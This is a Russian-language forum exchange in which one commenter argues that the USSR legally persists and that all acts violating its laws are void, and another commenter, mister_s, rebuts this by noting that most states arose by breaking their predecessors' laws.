Самопровозгласить ты можешь на марсе или луне, короче, куда долететь сможешь. А тут речь идёт об исполнении законов в уже провозглашённой и существующей системе координат государства СССР. Вот и всё. А коли законы нарушены, то и нарушитель не имеет никакой юридической силы. Т.е. он может нагнать полицаев и управлять, что собственно сейчас и происходит, но права он не будет иметь, отныне и во веки веков. Ну это я просто повторил то, что гостьех здесь уже неоднократно писал. Всё, что совершено с нарушением закона ничтожно, т.е. не имеет юридической силы. Понмаешь? Юридически все сделки совершённые после нарушения, также ничтожны.
mister_s
Юридически все сделки совершённые после нарушения, также ничтожны.
Это вы мне рассказываете? Я всякие сделки заключаю иногда по пять на дню. Если оба контрагента решили нарушить договор и заключить новый, то на этом ваш аргумент и окончен.
Все, абсолютно все государства были образованы при нарушении законов предыдущих госудрств. Исключения навроде Чехии со Словакией так редки, что и обсуждать их смысла нет. Вам-то это понятно или нет?
Отправить комментарий